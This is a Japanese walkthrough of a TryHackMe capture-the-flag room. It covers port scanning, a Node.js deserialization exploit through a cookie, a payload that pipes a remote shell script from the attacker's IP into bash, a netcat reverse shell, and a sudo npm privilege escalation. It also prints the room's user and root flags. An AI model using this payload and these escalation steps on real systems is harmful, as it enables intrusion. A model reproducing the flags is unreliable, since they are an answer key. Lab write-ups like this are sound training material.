【TryHackMe】 Jax sucks alot.............：Walkthrough

# 概要

TryHackMe「Jax sucks alot.............」のWalkthroughです。

https://tryhackme.com/r/room/jason

# Task1

## **Q1**.*user.txt*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.26.17 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 5b:2d:9d:60:a7:45:de:7a:99:20:3e:42:94:ce:19:3c (RSA)
|   256 bf:32:78:01:83:af:78:5e:e7:fe:9c:83:4a:7d:aa:6b (ECDSA)
|_  256 12:ab:13:80:e5:ad:73:07:c8:48:d5:ca:7c:7d:e0:af (ED25519)
80/tcp open  http
|_http-title: Horror LLC
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Fri, 11 Oct 2024 08:31:57 GMT
|     Connection: close
|     <html><head>
|     <title>Horror LLC</title>
|     <style>
|     body {
|     background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
|     background-size: 300% 300%;
|     -webkit-animation: Background 10s ease infinite;
|     -moz-animation: Background 10s ease infinite;
|     animation: Background 10s ease infinite;
|     @-webkit-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @-moz-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @keyframes Background {
|     background-position: 0% 50%
|     background-posi
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Fri, 11 Oct 2024 08:31:58 GMT
|     Connection: close
|     <html><head>
|     <title>Horror LLC</title>
|     <style>
|     body {
|     background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
|     background-size: 300% 300%;
|     -webkit-animation: Background 10s ease infinite;
|     -moz-animation: Background 10s ease infinite;
|     animation: Background 10s ease infinite;
|     @-webkit-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @-moz-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @keyframes Background {
|     background-position: 0% 50%
|_    background-posi
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|80|http||

`80`番ポートにアクセスします。

![index.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9b48a73f-8f00-fee4-5df8-989345118f47.jpeg)

メールアドレスを送信するとCookieが返ってきました。

![test post request.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2ca95cc1-11cb-8f50-98eb-2b4f82d92b42.jpeg)

デコードすると、値がシリアライズされCookieに設定されていると分かりました。

```
$ echo "eyJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSJ9" | base64 -d
{"email":"admin@admin.com"}
```

デシリアライズ攻撃が出来そうです。
NodeJSのデシリアライズ攻撃でRCE出来る脆弱性を見つけました。

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

リバースシェルファイルを作成し、ペイロードを送信します。

```
_$$ND_FUNC$$_function (){\n \t require('child_process').exec('curl http://10.6.55.144/shell.sh|bash',
function(error, stdout, stderr) { console.log(stdout) });\n }  ()  
```

Netcatでリッスンしているとシェルを張れました。

```
$ nc -lvnp 1234               
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.26.17] 47422
bash: cannot set terminal process group (540): Inappropriate ioctl for device
bash: no job control in this shell
dylan@jason:/opt/webapp$ whoami
whoami
dylan
```

TTYを設定します。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`/home/dylan/user.txt`からユーザーフラグを入手できました。

```/home/dylan/user.txt
0ba48780dee9f5677a4461f588af217c
```

**A**.**0ba48780dee9f5677a4461f588af217c**

## **Q2**.*root.txt*

`sudo -l`を確認すると`/usr/bin/npm`が設定されています。

```
$ sudo -l
sudo -l
Matching Defaults entries for dylan on jason:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dylan may run the following commands on jason:
    (ALL) NOPASSWD: /usr/bin/npm *
```

GFTOBinsで権限昇格のテクニックを見つけました。

https://gtfobins.github.io/gtfobins/npm/#sudo

一連のコマンドを入力し、rootシェルを取得できました。

```
dylan@jason:~$ TF=$(mktemp -d)
TF=$(mktemp -d)
dylan@jason:~$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
<ts": {"preinstall": "/bin/sh"}}' > $TF/package.json
dylan@jason:~$ sudo -u root /usr/bin/npm -C $TF --unsafe-perm i
sudo -u root /usr/bin/npm -C $TF --unsafe-perm i

> @ preinstall /tmp/tmp.TNHVfSKLaK
> /bin/sh

# whoami
whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
2cd5a9fd3a0024bfa98d01d69241760e
```

**A**.**2cd5a9fd3a0024bfa98d01d69241760e**